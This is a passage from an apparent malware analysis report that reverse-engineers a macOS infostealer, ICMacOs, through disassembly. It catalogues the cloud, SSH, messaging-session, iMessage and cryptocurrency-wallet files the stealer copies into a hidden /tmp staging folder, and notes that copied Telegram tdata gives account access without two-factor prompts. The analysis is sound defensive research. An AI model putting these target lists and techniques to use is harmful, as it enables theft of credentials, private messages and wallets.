ChromiumChromiumChromium Safe Storagesaltysalt (9 B)1003 (0x3eb)AES-128-CBC (0x20 × 16)
Apple SafariNot ApplicableNot ApplicableNoneNonePlain SQLite / BinaryCookies
Mozilla FirefoxNot ApplicableNot ApplicableStored in key4.dbNSS internalStaged for offline extraction

Harvested Files and Target Artifacts

Target Browser CategoryHarvested File NamesFile TypeStolen AssetHandling in Binary
Chromium (All 10)Login Data, Login Data-wal, Login Data-shmSQLite 3Saved web credentialsDecrypted via decrypter.Chromium
Chromium (All 10)Cookies, Cookies-wal, Cookies-shmSQLite 3Active session cookiesDecrypted via decrypter.Chromium
Chromium (All 10)Web Data, Web Data-wal, Web Data-shmSQLite 3Autofill forms and cardsCopied to staging
Chromium (All 10)History, History-wal, History-shmSQLite 3Visited URLs and timestampsCopied to staging
Chromium (All 10)Local Extension Settings/, IndexedDB/LevelDBCrypto wallet local storesCopied to staging
SafariHistory.db, History.db-wal, History.db-shmSQLite 3Browsing historySubject to TCC check
SafariBookmarks.plistBinary PlistSaved bookmarksCopied to staging
SafariDownloads.plistBinary PlistDownload recordsCopied to staging
SafariRecentlyClosedTabs.plistBinary PlistActive browsing sessionsCopied to staging
SafariCookies.binarycookies (4 candidate paths)Binary PlistWeb session cookiesCopied to staging
SafariLocalStorage/DirectoryLocal site storageCopied to staging
Firefoxlogins.jsonJSONEncrypted usernames/passwordsCopied to staging
Firefoxkey4.dbSQLite 3Master key and salts (NSS)Copied to staging
Firefoxcert9.dbSQLite 3Certificates and tokensCopied to staging
Firefoxcookies.sqlite, cookies.sqlite-wal, cookies.sqlite-shmSQLite 3Session cookiesCopied to staging
Firefoxplaces.sqlite, places.sqlite-wal, places.sqlite-shmSQLite 3Bookmarks and historyCopied to staging
Firefoxformhistory.sqliteSQLite 3Saved form autofill dataCopied to staging

Raiding the Developer: Harvesting AWS, Cloud, and Infrastructure Secrets

Many macOS stealers focus entirely on browser passwords and crypto wallets. ICMacOs goes a step further by targeting software engineers and DevOps administrators.

If an attacker lands on an engineer's MacBook, stealing a cloud token or an SSH key gives them immediate access to cloud infrastructure, production databases, and private code repositories.

main.collectDevSecrets located at virtual address 0x10043b690

Step 1: Creating the Staging Directory in main.collectDevSecrets

Navigating to this function and switching to High Level IL (HLIL) reveals its first task: creating a

dedicated staging folder on disk:

ARM64 DISASSEMBLY
// Binary Ninja HLIL snippet at 0x10043b6e0
var_e0 = "/tmp/.systemd-private-helper";
var_d0 = "DevSecrets";
x0_1, x1 = _path/filepath.join(&var_e0, 2, 2, arg4);
_os.MkdirAll(x0_1, x1, 0x1ed, arg4);

After allocating its stack frame, the routine constructs the path /tmp/.systemd-private-helper/DevSecrets and creates it on disk:

creates /tmp/.systemd-private-helper/DevSecrets
Figure: creates /tmp/.systemd-private-helper/DevSecrets Click to zoom ↗
ARM64 DISASSEMBLY

    10043b6d8  82 02 00 90      adrp    x2, 0x10048b000                                                    
    10043b6dc  42 7c 33 91      add     x2, x2, #0xcdf      ; x2 = "/tmp/.systemd-private-helper"          
    10043b6e0  e2 e3 00 f9      str     x2, [sp, #0x1c0]    ; Store slice element 0                        
    10043b6ec  22 02 00 f0      adrp    x2, 0x100482000                                                    
    10043b6f0  42 e8 1f 91      add     x2, x2, #0x7fa      ; x2 = "DevSecrets"                            
    10043b6f4  e2 eb 00 f9      str     x2, [sp, #0x1d0]    ; Store slice element 1                        
    10043b6f8  e0 03 07 91      add     x0, sp, #0x1c0      ; x0 = pointer to string slice                 
    10043b6fc  e1 03 7f b2      orr     x1, xzr, #0x2       ; x1 = slice length (2)                        
    10043b700  e2 03 01 aa      mov     x2, x1              ; x2 = slice capacity (2)                      
    10043b704  b3 78 f2 97      bl      0x1000d99d0         ; Call path/filepath.Join                      
    10043b710  a2 3d 80 d2      mov     x2, #0x1ed          ; x2 = 0x1ed (octal 0755 permissions)          
    10043b714  53 69 f2 97      bl      0x1000d5c60         ; Call os.MkdirAll                             

Registers x0 and x1 receive the joined directory path string. Register x2 is loaded with immediate value #0x1ed (decimal 493, which is octal 0755 Unix file permissions). The call to os.MkdirAll creates the destination directory /tmp/.systemd-private-helper/DevSecrets/.

Step 2: The Map Iterator and File Copy Loop

Once the staging folder is created, _main.collectDevSecrets loads the address of a global Go map named _main.devSecretsFiles and initializes an iterator:

ARM64 DISASSEMBLY
10043b718  fb 28 00 b0      adrp    x27, 0x100958000
10043b71c  61 4b 47 f9      ldr     x1, [x27, #0xe90]   ; Load _main.devSecretsFiles map pointer
10043b738  c0 0a 00 d0      adrp    x0, 0x100595000
10043b73c  00 00 22 91      add     x0, x0, #0x880      ; x0 = map type descriptor
10043b740  e2 43 08 91      add     x2, sp, #0x210      ; x2 = iterator buffer on stack
10043b744  87 63 ef 97      bl      0x100014560         ; Call runtime.mapiterinit

The malware then enters a loop that checks each file target:

ARM64 DISASSEMBLY
; Loop Header: Check if iterator returned a key
10043b754  e3 0b 41 f9      ldr     x3, [sp, #0x210]    ; Load current key pointer
10043b758  03 09 00 b4      cbz     x3, 0x10043b878     ; If key == nil, exit map loop
10043b75c  64 00 40 f9      ldr     x4, [x3]            ; x4 = string data pointer (e.g.,".aws/credentials")
10043b764  63 04 40 f9      ldr     x3, [x3, #0x8]      ; x3 = string length (e.g., 16)

; Check if file exists in user's home directory
10043b7ac  89 78 f2 97      bl      0x1000d99d0         ; Call path/filepath.Join(homeDir, key)
10043b7b8  fa 6d f2 97      bl      0x1000d6fa0         ; Call os.Stat(srcPath)
10043b7bc  82 fc ff b5      cbnz    x2, 0x10043b74c     ; If x2 (err) != nil, jump to next iteration

; File exists: Copy to staging directory
10043b7f4  77 78 f2 97      bl      0x1000d99d0         ; Call path/filepath.Join(stagingDir, value)
10043b800  e0 6b 40 f9      ldr     x0, [sp, #0xd0]     ; x0 = srcPath string pointer
10043b804  e1 3b 40 f9      ldr     x1, [sp, #0x70]     ; x1 = srcPath string length
10043b808  0a f3 ff 97      bl      0x100438430         ; Call main.copyFile(srcPath, dstPath)

; Advance iterator
10043b74c  e0 43 08 91      add     x0, sp, #0x210
10043b750  a0 63 ef 97      bl      0x1000145d0         ; Call runtime.mapiternext
10043b754  ...                                          ; Repeat loop

For every entry in the map:

1.It joins the target relative path with the victim's home directory.
2.It calls os.Stat. If the file does not exist, register x2 holds an error object, and cbnz x2, 0x10043b74c immediately advances to the next map key.
3.If the file is present (x2 == 0), it calls _main.copyFile at 0x100438430, copying the file into /tmp/. systemd-private-helper/DevSecrets/.

Step 3: Dissecting the 22-Target Map in main.map.init.1

Where does _main.devSecretsFiles get its target list?

Tracing cross-references to the global map points directly to _main.map.init.1 at 0x10042e7f8. This package initializer creates a map with 22 entries (mov x1, #0x16 at 0x10042e810 passed to runtime.makemap).

Let us inspect the raw assembly where AWS and cloud targets are registered:

AWS Credentials Registration (0x10042e9dc)

0x10042e9dc : credential registartion
Figure: 0x10042e9dc : credential registartion Click to zoom ↗
ARM64 DISASSEMBLY
		10042e9dc  a2 02 00 f0      adrp    x2, 0x100485000                                                    
    10042e9e0  42 dc 02 91      add     x2, x2, #0xb7       ; x2 = 0x1004850b7 (".aws/credentials")        
    10042e9e4  e3 03 7c b2      orr     x3, xzr, #0x10      ; x3 = 16 (string length)                      
    10042e9e8  de 64 ef 97      bl      0x100007d60         ; Call runtime.mapassign_faststr               
    10042e9ec  e4 0f 40 b2      orr     x4, xzr, #0xf       ; x4 = 15 (value length)                       
    10042e9f0  04 04 00 f9      str     x4, [x0, #0x8]      ; Store value length                           
    10042ea0c  a4 02 00 d0      adrp    x4, 0x100484000                                                    
    10042ea10  84 f0 25 91      add     x4, x4, #0x97c      ; x4 = 0x10048497c ("aws_credentials")         
    10042ea14  04 00 00 f9      str     x4, [x0]            ; Store value string pointer                                                  

AWS Config Registration (0x10042ea24)

0x10042ea24 .aws/config
Figure: 0x10042ea24 .aws/config Click to zoom ↗
ARM64 DISASSEMBLY
		10042ea24  a2 02 00 90      adrp    x2, 0x100482000                                                    
    10042ea28  42 64 3a 91      add     x2, x2, #0xe99      ; x2 = 0x100482e99 (".aws/config")             
    10042ea2c  63 01 80 d2      mov     x3, #0xb            ; x3 = 11 (string length)                      
    10042ea30  cc 64 ef 97      bl      0x100007d60         ; Call runtime.mapassign_faststr               
    10042ea34  44 01 80 d2      mov     x4, #0xa            ; x4 = 10 (value length)                       
    10042ea38  04 04 00 f9      str     x4, [x0, #0x8]      ; Store value length                           
    10042ea54  a4 02 00 90      adrp    x4, 0x100482000                                                    
    10042ea58  84 98 1f 91      add     x4, x4, #0x7e6      ; x4 = 0x1004827e6 ("aws_config")              
    10042ea5c  04 00 00 f9      str     x4, [x0]            ; Store value string pointer

Kubernetes and Google Cloud Registration (0x10042eab4 and 0x10042eafc)

Kubernetes
Figure: Kubernetes Click to zoom ↗
google cloud
Figure: google cloud Click to zoom ↗
ARM64 DISASSEMBLY
; Kubernetes Config                                                                                    
    10042eab4  a2 02 00 b0      adrp    x2, 0x100483000                                                    
    10042eab8  42 18 16 91      add     x2, x2, #0x586      ; x2 = 0x100483586 (".kube/config")            
    10042eabc  e3 07 7e b2      orr     x3, xzr, #0xc       ; x3 = 12 (length)                             
    10042eac0  a8 64 ef 97      bl      0x100007d60         ; Call runtime.mapassign_faststr               
    10042eae8  84 90 3a 91      add     x4, x4, #0xea4      ; x4 = "kube_config" (stored to map)           

    ; Google Cloud Application Default Credentials                                                         
    10042eafc  42 03 00 b0      adrp    x2, 0x100497000                                                    
    10042eb00  42 e0 36 91      add     x2, x2, #0xdb8      ; x2 = 0x100497db8                             
    (".config/gcloud/application_default_credentials.json")                                                
    10042eb04  63 06 80 d2      mov     x3, #0x33           ; x3 = 51 (length)                             
    10042eb08  96 64 ef 97      bl      0x100007d60         ; Call runtime.mapassign_faststr               
    10042eb30  84 64 02 91      add     x4, x4, #0x99       ; x4 = "gcloud_credentials.json" (stored to map)

By tracing every runtime.mapassign_faststr invocation in _main.map.init.1, we compile the following verified target matrix:

Cloud, Developer, and Infrastructure Credential Targets

Target CategorySource Path in User HomeStaged FilenameInstruction Offset
AWS Credentials.aws/credentialsaws_credentials0x10042e9dc
AWS Configuration.aws/configaws_config0x10042ea24
Google Cloud (GCP).config/gcloud/application_default_credentials.jsongcloud_credentials.json0x10042eafc
Kubernetes.kube/configkube_config0x10042eab4
Docker.docker/config.jsondocker_config.json0x10042ea6c
Podman.config/containers/auth.jsonpodman_auth.json0x10042eb8c
Terraform.terraform.d/credentials.tfrc.jsonterraform_credentials.json0x10042eb44
GitHub CLI.config/gh/hosts.ymlgh_hosts.yml0x10042ecb4
Hub CLI.config/hubhub_config0x10042ecfc
Git Auth.gitconfig, .config/git/config, .git-credentialsgitconfig, git_config, git-credentials0x10042e904
Package Registries.npmrc, .pypirc, .netrcnpmrc, pypirc, netrc0x10042ebe0
Databases.pgpass, .my.cnf, .dbshell, .rediscli_historypgpass, mysql_cnf, mongodb_shell_history, redis_history0x10042ed44

Step 4: Dynamic SSH Key Enumeration and Filtering

After exhausting the static map, _main.collectDevSecrets turns its attention to ~/.ssh/ at address

0x10043b878:

ARM64 DISASSEMBLY
10043b898  23 02 00 b0      adrp    x3, 0x100480000
10043b89c  63 80 2f 91      add     x3, x3, #0xbe0      ; x3 = ".ssh" (length 4)
10043b8b0  48 78 f2 97      bl      0x1000d99d0         ; Call path/filepath.Join(homeDir, ".ssh")
10043b8bc  69 55 f2 97      bl      0x1000d0e60         ; Call os.ReadDir

It iterates over the directory contents, applying strict filters:

1.Size Filter: It inspects file size via os.FileInfo.Size(). Any file larger than 100 KB (0x19000 bytes at 0x10043ba18) is rejected.
2.Name Filters: It inspects the file name to avoid grabbing old backups. At 0x10043b91c - 0x10043b930, it builds the 64-bit constant 0x6f685f6e776f6e6b ("known_ho") in register x4:
ARM64 DISASSEMBLY
   10043b91c  03 00 40 f9      ldr     x3, [x0]            ; Load first 8 bytes of filename               
    10043b920  64 cd 8d d2      mov     x4, #0x6e6b         ; 'kn'                                         
    10043b924  e4 ed ae f2      movk    x4, #0x776f, lsl #16; 'ow'                                         
    10043b928  c4 ed cb f2      movk    x4, #0x5f6e, lsl #32; 'n_'                                         
    10043b92c  04 ed ed f2      movk    x4, #0x6f68, lsl #48; 'ho'                                         
    10043b930  7f 00 04 eb      cmp     x3, x4              ; Compare with "known_ho"

If the name matches known_hosts.old (15 characters) or ends with .bak or .old, the file is skipped.

3.Copy Operation: Valid SSH private and public keys (such as id_rsa, id_ed25519) are copied to /tmp/.

systemd-private-helper/DevSecrets/ssh_<filename>.

At address 0x10043bb80, it loads a directory list from _main.envSearchDirs and calls _main.findEnvFiles (0x10043bc24):

▪It recursively scans common workspace folders up to a maximum of 4 directory levels deep.
▪To avoid entering massive dependency trees, it consults _main.envSkipDirs (initialized in _main.map. init.2), skipping 26 common folder names including node_modules, .git, pycache, and .venv.
▪Discovered files are copied to /tmp/.systemd-private-helper/DevSecrets/env/ (capped at 300 files).

Once complete, _main.collectDevSecrets logs the total number of recovered .env files to /tmp/.cache-update.log and returns control to the main orchestrator, leaving all cloud tokens and private keys staged for compression and exfiltration.

Private Communications: Raiding WhatsApp, Telegram, Apple Messages, and Discord

Stealing browser cookies and cloud keys allows threat actors to impersonate users on the web. But stealing local chat databases provides access to personal conversations, business communications, one-time SMS verification codes, and end-to-end encryption keys

1. Stealing WhatsApp Chats and Signal Keys (main.collectWhatsApp)

At virtual address 0x1004342dc inside _main.main, the orchestrator logs === STEP 8: collectWhatsApp === and branches to _main.collectWhatsApp (`0x10043bc90

The routine begins by locating WhatsApp's macOS shared group container:

locating WhatsApp's macOS shared group container
Figure: locating WhatsApp's macOS shared group container Click to zoom ↗
ARM64 DISASSEMBLY
10043bcc4  63 07 80 d2      mov     x3, #0x3b           ; Length 59 (0x3b)
10043bccc  e3 02 00 d0      adrp    x3, 0x100499000
10043bcd0  63 9c 32 91      add     x3, x3, #0xca7      ; "Library/Group Containers/group.net.whatsapp.WhatsApp.shared"
10043bcd8  e0 e3 06 91      add     x0, sp, #0x1b8      ; Slice pointer (homeDir + relative path)
10043bcdc  e1 03 7f b2      orr     x1, xzr, #0x2       ; Slice length = 2
10043bce4  3b 77 f2 97      bl      0x1000d99d0         ; Call path/filepath.Join
10043bcf0  ac 6c f2 97      bl      0x1000d6fa0         ; Call os.Stat
10043bcf4  22 0b 00 b5      cbnz    x2, 0x10043be58     ; If folder missing (error != nil), return

If the folder exists, the malware constructs /tmp/.systemd-private-helper/WhatsApp and creates it on disk via os.MkdirAll with permissions 0755 (mov x2, #0x1ed at 0x10043bd40).

Next, between addresses 0x10043bd60 and 0x10043be4c, the function builds an array of 13 specific files on

the stack:

13 specific files on the stack
Figure: 13 specific files on the stack Click to zoom ↗
ARM64 DISASSEMBLY
; Stack array setup for 13 targeted WhatsApp database files
10043bd60  43 02 80 d2      mov     x3, #0x12           ; Length 18 (0x12)
10043bd6c  84 d4 08 91      add     x4, x4, #0x235      ; "ChatStorage.sqlite"
...
10043bd74  c4 02 80 d2      mov     x4, #0x16           ; Length 22 (0x16)
10043bd80  a5 30 1b 91      add     x5, x5, #0x6cc      ; "ChatStorage.sqlite-wal"
...
10043bda4  a5 64 27 91      add     x5, x5, #0x9d9      ; "ContactsV2.sqlite"
...
10043bdd8  63 1c 09 91      add     x3, x3, #0x247      ; "CallHistory.sqlite"
...
10043be0c  63 08 3f 91      add     x3, x3, #0xfc2      ; "msgstore.db"
...
10043be20  84 40 22 91      add     x4, x4, #0x890      ; "axolotl.db"
...
10043be30  63 68 22 91      add     x3, x3, #0x89a      ; "session.db"
...
10043be44  63 18 09 91      add     x3, x3, #0x246      ; "com.whatsapp.WhatsApp.shared.plist"

The malware loops through all 13 entries (cmp x0, #0xd at 0x10043be74):

ARM64 DISASSEMBLY
10043be74  1f 34 00 f1      cmp     x0, #0xd            ; Loop counter check (13 items)
10043be78  8a 07 00 54      b.ge    0x10043bf68         ; Exit loop when done
...
10043becc  35 6c f2 97      bl      0x1000d6fa0         ; Call os.Stat(targetFile)
10043bed0  a2 fc ff b5      cbnz    x2, 0x10043be64     ; Skip if missing
10043bf1c  45 f1 ff 97      bl      0x100438430         ; Call main.copyFile(src, dst)
10043bf48  00 70 2b 91      add     x0, x0, #0xadc      ; "WhatsApp: %s copied"
10043bf60  28 cc ff 97      bl      0x10042f000         ; Call main.logMsg

Among these 13 files, the targeting of axolotl.db is significant. Axolotl is the internal database used by WhatsApp to implement the Signal Protocol. It contains the local identity keys, pre-keys, and active ratchet session keys that govern end-to-end encrypted messaging. Combined with ChatStorage.sqlite, an attacker obtains both historical chats and the cryptographic identities tied to the user's account.

2. Telegram Desktop Session Hijacking (main.collectTelegram)

Telegram Desktop stores all persistent authentication and session state inside a local directory called tdata. If an attacker copies this folder, they can paste it into an arbitrary Telegram client and instantly access the victim's account without triggering a password or two-factor prompt.

At address 0x1004340ac, _main.main calls _main.collectTelegram (0x1004374f0).

The function checks for tdata in Telegram Desktop's directory:

tdata
Figure: tdata Click to zoom ↗
ASSEMBLY (ASM)
100437594  var_a8 = 0x2c                                ; Length 44
1004375a0  var_b0 = "Library/Application Support/Telegram Desktop"
1004375d0  var_c8 = 5                                   ; Length 5
1004375dc  var_d0 = "tdata"

If present, it creates /tmp/.systemd-private-helper/Telegram/tdata/.

Rather than copying everything blindly, which could result in gigabytes of cached media, the function builds an internal hash map of critical session files:

▪key_datas (The encrypted master keys for local session databases)
▪settingss (Client configuration and account descriptors)
▪prefix (Session prefix tokens)
▪usertag (User account mapping)
▪countries (Regional metadata)
▪shortcuts-default.json (Custom shortcuts and layout settings)

At address 0x100437960, it inspects file and folder sizes using os.FileInfo.Size(). Any non-essential

file or subdirectory larger than 10 MB (0x9fffff bytes) is skipped:

C
100437960  if (var_298 - 1 u>= 0x9fffff) {
    _fmt.Sprintf("Telegram: skip %s (%d MB)", name, size);
    _main.logMsg(...);
}

Critical session files are copied directly into the staging folder, concluding with the log message:

"Telegram: tdata copied (%d files, %d MB)".

3. Apple Messages and SMS Theft (main.collectMessages)

At address 0x100434308, _main.main executes _main.collectMessages (0x10042f160), flagged with banner === STEP 8.5: collectMessages ===.

This function directly targets macOS's local SMS and iMessage store:

ARM64 DISASSEMBLY
		10042f194  e3 03 7c b2      orr     x3, xzr, #0x10      ; Length 16 (0x10)                             
    10042f198  e3 9b 00 f9      str     x3, [sp, #0x130]    ; Store slice string length                    
    10042f19c  a3 02 00 d0      adrp    x3, 0x100485000                                                    
    10042f1a0  63 5c 03 91      add     x3, x3, #0xd7       ; x3 = 0x1004850d7 ("Library/Messages")        
    10042f1a4  e3 97 00 f9      str     x3, [sp, #0x128]    ; Store slice string pointer                   
    10042f1a8  e0 63 04 91      add     x0, sp, #0x118      ; Slice &[homeDir, "Library/Messages"]         
    10042f1ac  e1 03 7f b2      orr     x1, xzr, #0x2       ; Slice length = 2                             
    10042f1b0  e2 03 01 aa      mov     x2, x1              ; Slice capacity = 2                           
    10042f1b4  07 aa f2 97      bl      0x1000d99d0         ; Call path/filepath.Join                      
    10042f1b8  e0 3b 00 f9      str     x0, [sp, #0x70]     ; Save joined path string pointer              
    10042f1bc  e1 23 00 f9      str     x1, [sp, #0x40]     ; Save joined path string length               
    10042f1c0  78 9f f2 97      bl      0x1000d6fa0         ; Call os.Stat                                 
    10042f1c4  42 05 00 b5      cbnz    x2, 0x10042f26c     ; If missing, branch to log "Messages: dir notfound, skip" 

If Library/Messages is found on disk, the malware constructs /tmp/.systemd-private-helper/Messages/(0x10042f1d0 to 0x10042f214) and initializes a 3-element array containing the core SQLite files:

core SQlite fiels
Figure: core SQlite fiels Click to zoom ↗
ARM64 DISASSEMBLY
10042f224  e3 0b 40 b2      orr     x3, xzr, #0x7       ; Length 7
10042f230  63 58 17 91      add     x3, x3, #0x5d6      ; "chat.db"
10042f238  63 01 80 d2      mov     x3, #0xb            ; Length 11
10042f244  84 6c 3b 91      add     x4, x4, #0xedb      ; "chat.db-wal"
10042f24c  e3 7b 00 f9      str     x3, [sp, #0xf0]     ; Length 11
10042f254  63 98 3b 91      add     x3, x3, #0xee6      ; "chat.db-shm"

The collection loop then iterates through all three database files:

ARM64 DISASSEMBLY
10042f298  1f 0c 00 f1      cmp     x0, #0x3            ; Loop over 3 files
10042f29c  2a 06 00 54      b.ge    0x10042f360         ; Exit loop when done
...
10042f2e8  ba a9 f2 97      bl      0x1000d99d0         ; Join source path
10042f2f4  2b 9f f2 97      bl      0x1000d6fa0         ; Call os.Stat
10042f2f8  62 00 00 b4      cbz     x2, 0x10042f304     ; If exists (err == 0), copy
10042f34c  39 24 00 94      bl      0x100438430         ; Call main.copyFile(src, dst)
10042f358  61 14 83 9a      cinc    x1, x3, eq          ; Increment success counter

On macOS, chat.db contains every incoming and outgoing iMessage and SMS text message, contact phone number, and timestamp. Stealing this file gives the attacker access to two-factor SMS codes, personal conversations, and contact metadata.

4. Discord Token Extraction (main.collectDiscord)

At address 0x100434324, _main.main calls _main.collectDiscord (0x10043bfa0).

Discord is an Electron application that stores active session tokens in Google LevelDB key-value stores. The malware locates the storage path:

~/Library/Application Support/discord/Local Storage/leveldb

It creates /tmp/.systemd-private-helper/Discord/leveldb/ and iterates through the directory, copying:

▪All files ending in .ldb and .log.
▪Metadata files: LOG, CURRENT, and files prefixed with MANIFEST-.
▪Size check: Any file exceeding 10 MB (0xa00000 bytes at 0x10043c574) is skipped.

Additionally, _main.collectDiscord inspects the legacy storage directory (~/Library/Application Support/discord/Local Storage/), copying .localstorage and .localstorage-journal files, along with settings.json.

5. Call History and FaceTime Logs (main.collectCallHistory)

At address 0x10043433c, the malware calls _main.collectCallHistory (0x10043dba0). It inspects two system directories:

1.~/Library/Application Support/CallHistoryDB
2.~/Library/Application Support/CallHistoryTransactions

It creates /tmp/.systemd-private-helper/CallHistory/ and extracts all database files matching the name CallHistory (skipping temporary -shm index files). These databases contain full call logs, including phone numbers, FaceTime video/audio call durations, and timestamps.

Summary: Messaging Applications Targeted by ICMacOs

ApplicationTarget FunctionSource PathStaged PathHarvested Data
WhatsAppmain.collectWhatsApp (0x10043bc90)~/Library/Group Containers/group.net.whatsapp.WhatsApp.shared.../DevSecrets/../WhatsApp13 files, including ChatStorage.sqlite, ContactsV2.sqlite, and axolotl.db (Signal E2EE keys)
Telegrammain.collectTelegram (0x1004374f0)~/Library/Application Support/Telegram Desktop/tdata.../Telegram/tdatakey_datas, settingss, usertag, prefix (tdata session hijacking)
Apple Messagesmain.collectMessages (0x10042f160)~/Library/Messages.../Messageschat.db (entire SMS and iMessage history)
Discordmain.collectDiscord (0x10043bfa0)~/Library/Application Support/discord/Local Storage/leveldb.../Discord/leveldbLevelDB stores (.ldb, .log), settings.json (authentication tokens)
Call Historymain.collectCallHistory (0x10043dba0)~/Library/Application Support/CallHistoryDB.../CallHistoryCallHistory.storedata (FaceTime and phone logs)

The Cryptocurrency Heist: Raiding 29 Desktop Wallets

Desktop cryptocurrency wallets store private keys, recovery seeds, and active addresses directly on disk. ICMacOs hunts for 29 desktop wallets using two methods:

1.Three Standalone Harvesters: Dedicated functions for high-priority wallets (Electrum, Exodus, Atomic).
2.The 26-Wallet Batch Engine (_main.collectMoreWallets at 0x100431ff0): An automated loop iterating through an embedded table (0x1005fd698) to extract 26 additional desktop wallet applications.

1. Standalone Harvesters (Electrum, Exodus, Atomic)

In _main.main, the malware calls three dedicated collection routines:

ARM64 DISASSEMBLY
    100434354  b3 22 00 94      bl      _main.collectElectrum   ; Copies ~/.electrum/wallets               
    100434360  00 24 00 94      bl      _main.collectExodus     ; Targets exodus.wallet and keys           
    10043436c  29 25 00 94      bl      _main.collectAtomic     ; Copies Atomic LevelDB stores             

In _main.collectExodus (0x10043d360), the malware explicitly targets five critical files:

▪exodus.wallet (The master encrypted seed and private key database)
▪secure (Passphrase configuration)
▪binance
▪bitcoin
▪ethereum_key.txt

2. The 26-Wallet Batch Engine (main.collectMoreWallets)

At address 0x10043456c (logged with banner === STEP 16: More Wallets ===), the binary calls _main.collectMoreWallets (0x100431ff0).

The function creates /tmp/.systemd-private-helper/Wallets/ and loops through a 26-entry table at

0x1005fd698:

ARM64 DISASSEMBLY
    10043201c  adrp    x20, 0x1005fd000                                                                    
    100432020  add     x20, x20, #0x698    ; Load 26-wallet targeting table                                
    100432084  bl      _os.MkdirAll        ; Create /tmp/.systemd-private-helper/Wallets (0755)            

    ; The 26-Wallet Loop                                                                                   
    1004320a8  cmp     x0, #0x1a           ; Check if all 26 wallets processed                             
    1004320ac  b.ge    0x1004321f8         ; Exit loop when done                                           
    10043210c  bl      _os.Stat            ; Test if wallet directory exists in user home                  
    100432110  cbz     x2, 0x10043211c     ; If found (err == 0), copy directory                           
    100432198  bl      _path/filepath.Walk ; Recursively copy wallet folder                                
    1004321e8  bl      _main.logMsg        ; Log: "Wallet: %s copied"

Once the loop finishes, it logs "Wallets: %d collected" and returns.

Full Desktop Cryptocurrency Wallet Targeting Matrix (29 Wallets)

No.Wallet NameHarvesting FunctionTarget Path in User HomeStaged Output Path
1Electrum_main.collectElectrum~/.electrum/wallets and ~/Library/Application Support/Electrum/wallets/tmp/.systemd-private-helper/Electrum/wallets/
2Exodus_main.collectExodus~/Library/Application Support/Exodus (exodus.wallet, ethereum_key.txt)/tmp/.systemd-private-helper/Exodus/
3Atomic Wallet_main.collectAtomic~/Library/Application Support/atomic and ~/Library/Application Support/Atomic Wallet/tmp/.systemd-private-helper/Atomic/
4Ledger Live_main.collectMoreWallets~/Library/Application Support/Ledger Live.../Wallets/LedgerLive/
5Trezor Suite_main.collectMoreWallets~/Library/Application Support/@trezor/suite-desktop.../Wallets/TrezorSuite/
6Sparrow_main.collectMoreWallets~/.sparrow.../Wallets/Sparrow/
7Wasabi_main.collectMoreWallets~/.walletwasabi.../Wallets/Wasabi/
8Blockstream Green_main.collectMoreWallets~/Library/Application Support/Blockstream Green.../Wallets/BlockstreamGreen/
9Coinomi_main.collectMoreWallets~/Library/Application Support/Coinomi.../Wallets/Coinomi/
10Guarda_main.collectMoreWallets~/Library/Application Support/Guarda.../Wallets/Guarda/
11Bitcoin Core_main.collectMoreWallets~/Library/Application Support/Bitcoin.../Wallets/BitcoinCore/
12Litecoin Core_main.collectMoreWallets~/Library/Application Support/Litecoin.../Wallets/LitecoinCore/
13Monero_main.collectMoreWallets~/Library/Application Support/monero-project.../Wallets/Monero/
14Gleec_main.collectMoreWallets~/Library/Application Support/Gleec.../Wallets/Gleec/
15Komodo_main.collectMoreWallets~/Library/Application Support/Komodo.../Wallets/Komodo/
16Neon_main.collectMoreWallets~/Library/Application Support/Neon.../Wallets/Neon/
17Coinbase_main.collectMoreWallets~/Library/Application Support/Coinbase.../Wallets/Coinbase/
18Binance_main.collectMoreWallets~/Library/Application Support/Binance.../Wallets/Binance/
19Trust Wallet_main.collectMoreWallets~/Library/Application Support/Trust Wallet.../Wallets/TrustWallet/
20Daedalus_main.collectMoreWallets~/Library/Application Support/Daedalus Mainnet.../Wallets/Daedalus/
21Yoroi Desktop_main.collectMoreWallets~/Library/Application Support/Yoroi.../Wallets/YoroiDesktop/
22Nault_main.collectMoreWallets~/Library/Application Support/Nault.../Wallets/Nault/
23MyMonero_main.collectMoreWallets~/Library/Application Support/MyMonero.../Wallets/MyMonero/
24Zcash_main.collectMoreWallets~/Library/Application Support/Zcash.../Wallets/Zcash/
25DashCore_main.collectMoreWallets~/Library/Application Support/DashCore.../Wallets/DashCore/
26Dogecoin Core_main.collectMoreWallets~/Library/Application Support/Dogecoin.../Wallets/DogecoinCore/
27Ravencoin_main.collectMoreWallets~/Library/Application Support/Ravencoin.../Wallets/Ravencoin/
28Decrediton_main.collectMoreWallets~/Library/Application Support/Decrediton.../Wallets/Decrediton/
29Trezor Bridge_main.collectMoreWallets~/Library/Application Support/Trezor Bridge.../Wallets/TrezorBridge/

The Automated Filegrabber: Hunting Documents and Secret Keys

Beyond credentials and wallets, ICMacOs includes an automated file harvesting engine implemented in _main.collectFolder (0x100437ff0) and its recursive callback _main.collectFolder.func1 (0x100438130). It recursively sweeps user directories, copies matching files, and stages them inside:

/tmp/.systemd-private-helper/Filegrabber/<TargetFolder>/

1. How the Harvester Operates

In _main.main, _main.collectFolder is executed on ~/Documents (address 0x100434100) and ~/.ssh (address 0x100434268). Related routine _main.countDevSecrets (0x10042fbd8) inspects Desktop, Projects, Developer, and Code.

During the directory walk, _main.collectFolder.func1 enforces four strict rules:

ARM64 DISASSEMBLY
; 1. Size Filter: Skip files larger than 50 MB (0x3200000 bytes)                                       
    1004381e8  ldr     x0, [fileInfo]                                                                      
    1004381f4  cmp     x0, #0x3200000                                                                      
    1004381f8  b.hi    0x10043827c                         ; If > 50 MB, skip                              

    ; 2. Directory Filter: Exclude Downloads                                                               
    100438218  bl      _internal/stringslite.Index          ; Search path for "downloads"                  
    10043821c  tbz     w0, #63, 0x100438268                 ; If found, skip                               

    ; 3. SSH Bypass: If folder is "SSH", copy without extension check                                      
    100438244  cmp     w6, #3                               ; Check if folder name is "SSH"                
    100438248  b.eq    0x1004382a0                         ; Jump straight to copyFile (captures id_rsa,   
    id_ed25519)                                                                                            

    ; 4. Extension Match: Compare against 21 target extensions                                             
    100438360  sub_1000755b8(&data_1005fb6c8, &var_158)     ; Load table of 21 extensions                  
    100438384  cmp     x3, #0x15                            ; Loop through 21 items                        
    1004383b0  bl      _runtime.memequal                    ; Compare extension                            
    1004383b4  b.eq    0x1004382a0                         ; If match found, call copyFile

2. Targeted Extensions (21 Total)

The malware checks file extensions against an embedded array at 0x1005fb6c8. It targets far more than basic text files, focusing heavily on password stores, wallets, and cloud configurations:

Extracted directly from the read-only data block at 0x1005fb6c8:

IndexExtensionTarget Category
1.txtPlaintext notes, passwords, seeds
2.mdMarkdown documentation, notes
